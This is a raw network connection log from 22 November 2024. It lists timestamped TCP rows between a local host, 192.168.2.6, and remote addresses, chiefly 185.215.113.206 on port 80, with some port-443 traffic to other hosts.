Nov 22, 2024 14:43:53.316401005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.316431999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.317867041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.317881107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.317924976 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.319549084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.319664955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.319720984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.321286917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.321336985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.321346998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.321377039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.322988033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.323033094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.323168039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.323219061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.324733973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.324798107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.325491905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.325782061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.326500893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.326545000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.326621056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.326900005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.327336073 CET	443	49872	20.198.119.84	192.168.2.6
Nov 22, 2024 14:43:53.328176975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.328197956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.328234911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.328272104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.329916954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.329957962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.330045938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.330115080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.331692934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.331732988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.331742048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.331774950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.332093000 CET	443	49875	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:53.332182884 CET	443	49875	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:53.332407951 CET	49875	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:53.333381891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.333432913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.333447933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.333523989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.335481882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.335567951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.335578918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.335776091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.336838007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.336890936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.337029934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.337150097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.337681055 CET	49875	443	192.168.2.6	162.159.61.3
Nov 22, 2024 14:43:53.337696075 CET	443	49875	162.159.61.3	192.168.2.6
Nov 22, 2024 14:43:53.338573933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.338613987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.339087009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.339133024 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.340260029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.340331078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.373768091 CET	443	49876	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.380812883 CET	49876	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.380837917 CET	443	49876	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.384907961 CET	49876	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.384917974 CET	443	49876	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.385663986 CET	443	49878	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.388689041 CET	49878	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.388699055 CET	443	49878	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.391105890 CET	49878	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.391113043 CET	443	49878	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.455391884 CET	443	49879	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.455898046 CET	49879	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.455915928 CET	443	49879	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.456470013 CET	49879	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.456475019 CET	443	49879	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.462336063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.462351084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.462393045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.462479115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.463016033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.463104010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.463148117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.463186979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.463939905 CET	443	49880	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.464338064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.464354038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.464399099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.464428902 CET	49880	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.464432001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.464449883 CET	443	49880	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.464975119 CET	49880	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.464993954 CET	443	49880	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.465579033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.465596914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.465631962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.465652943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.466856956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.466924906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.466998100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.467170000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.468183994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.468230009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.468266964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.468414068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.469465017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.469477892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.469510078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.469532013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.472524881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.472584963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.472615004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.472656012 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.472670078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.472682953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.472721100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.473752975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.473769903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.473817110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.474976063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.475205898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.475332975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.475368977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.476015091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.476068974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.476161003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.476254940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.477323055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.477385998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.477474928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.477519989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.478672981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.478688955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.478718996 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.478743076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.480042934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.480056047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.480086088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.480107069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.481230974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.481301069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.481363058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.481405020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.482583046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.482594967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.482642889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.483971119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.483983994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.484025002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.485335112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.485347986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.485394955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.486540079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.486593962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.486746073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.486803055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.487893105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.487905025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.487947941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.489077091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.489151955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.489223957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.489259005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.490412951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.490425110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.490485907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.491554976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.491617918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.491708040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.491744041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.493042946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.493056059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.493100882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.494144917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.494214058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.494232893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.494251966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.495614052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.495687962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.495738983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.495806932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.496750116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.496762037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.496805906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.498069048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.498083115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.498128891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.499289989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.499308109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.499355078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.500596046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.500608921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.500658989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.501887083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.501935959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.501962900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.501993895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.503185034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.503197908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.503236055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.504477978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.504491091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.504533052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.505790949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.505834103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.505865097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.505911112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.507101059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.507114887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.507169008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.507611036 CET	443	49877	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.508174896 CET	49877	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.508200884 CET	443	49877	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.508301973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.508352041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.508428097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.508480072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.508984089 CET	49877	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:53.508991003 CET	443	49877	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:53.509699106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.509712934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.509754896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.510978937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.510992050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.511038065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.512464046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.512514114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.512562037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.512603998 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.513503075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.513556957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.513561964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.513602972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.514807940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.514883041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.514904022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.514966011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.516170979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.516185045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.516227007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.516243935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.517421007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.517433882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.517493963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.518665075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.518714905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.518824100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.518882990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.520034075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.520045996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.520121098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.521291971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.521339893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.521809101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.521938086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.522578001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.522623062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.522844076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.522895098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.523876905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.523932934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.524135113 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.524194002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.525273085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.525335073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.525346994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.525525093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.526537895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.526593924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.526607037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.526647091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.527981043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.527992964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.528040886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.528040886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.529089928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.529154062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.529400110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.529460907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.530307055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.530368090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.678417921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.678565025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.678620100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.678669930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.679157019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.679168940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.679217100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.680397034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.680501938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.680917978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.680928946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.680967093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.681176901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.681225061 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.681301117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.681350946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.682462931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.682481050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.682522058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.682537079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.685026884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.685077906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.685961962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.686111927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.687102079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.687115908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.687180042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.687305927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.687325954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.687357903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.687381029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.688426018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.688479900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.688549995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.688600063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.689909935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.689920902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.689963102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.690936089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.690989017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.691306114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.691359043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.691838026 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:53.691883087 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:53.691963911 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:53.691997051 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:53.692028046 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:53.692058086 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:53.692153931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.692204952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.692519903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.692533016 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:53.692543030 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:53.692581892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.692671061 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:53.692682981 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:53.693382978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.693429947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:53.693583012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:53.693633080 CET	49819	80	192.168.2.6	185.215.113.206
